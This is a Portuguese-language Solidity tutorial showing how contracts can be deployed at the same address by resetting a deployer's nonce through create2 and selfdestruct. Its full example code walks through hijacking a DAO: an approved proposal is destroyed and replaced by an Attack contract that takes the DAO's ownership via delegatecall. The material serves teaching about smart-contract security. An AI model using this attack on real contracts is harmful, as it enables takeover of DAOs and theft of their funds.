Implementar contratos diferentes no mesmo endereço

# Implementar contratos diferentes no mesmo endereço

O endereço do contrato implementado com create é calculado da seguinte forma.

contract address = últimos 20 bytes de sha3(rlp_encode(sender, nonce))

em que o sender é o endereço do implantador e o nonce é o número de transacções enviadas pelo sender.

Assim, é possível implementar diferentes contratos no mesmo endereço se pudermos de alguma forma redefinir o nonce.

Abaixo está um exemplo de como um DAO pode ser hackeado.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/*
Chamado por Alice
0. Implantar DAO

Chamado pelo atacante
1. Implementar o DeployerDeployer
2. Chamada do DeployerDeployer.deploy()
3. Chamar Deployer.deployProposal()

Chamada por Alice
4. Obter a aprovação da proposta pelo DAO

Chamado pelo Attacker
5. Excluir a proposta e o implantador
6. Reimplantar o Deployer
7. Chamar Deployer.deployAttack()
8. Chamar DAO.execute
9. Verificar se DAO.owner é o endereço do atacante

DAO -- aprovado --> Proposta
DeployerDeployer -- create2 --> Deployer -- create --> Proposta
DeployerDeployer -- create2 --> Deployer -- create --> Attack
*/

contract DAO {
    struct Proposal {
        address target;
        bool approved;
        bool executed;
    }

    address public owner = msg.sender;
    Proposal[] public proposals;

    function approve(address target) external {
        require(msg.sender == owner, "not authorized");

        proposals.push(Proposal({target: target, approved: true, executed: false}));
    }

    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];
        require(proposal.approved, "not approved");
        require(!proposal.executed, "executed");

        proposal.executed = true;

        (bool ok, ) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );
        require(ok, "delegatecall failed");
    }
}

contract Proposal {
    event Log(string message);

    function executeProposal() external {
        emit Log("Excuted code approved by DAO");
    }

    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}

contract Attack {
    event Log(string message);

    address public owner;

    function executeProposal() external {
        emit Log("Excuted code not approved by DAO :)");
        // For example - set DAO's owner to attacker
        owner = msg.sender;
    }
}

contract DeployerDeployer {
    event Log(address addr);

    function deploy() external {
        bytes32 salt = keccak256(abi.encode(uint(123)));
        address addr = address(new Deployer{salt: salt}());
        emit Log(addr);
    }
}

contract Deployer {
    event Log(address addr);

    function deployProposal() external {
        address addr = address(new Proposal());
        emit Log(addr);
    }

    function deployAttack() external {
        address addr = address(new Attack());
        emit Log(addr);
    }

    function kill() external {
        selfdestruct(payable(address(0)));
    }
}

# Teste no Remix

Last Updated: 23/01/2024 17:50:29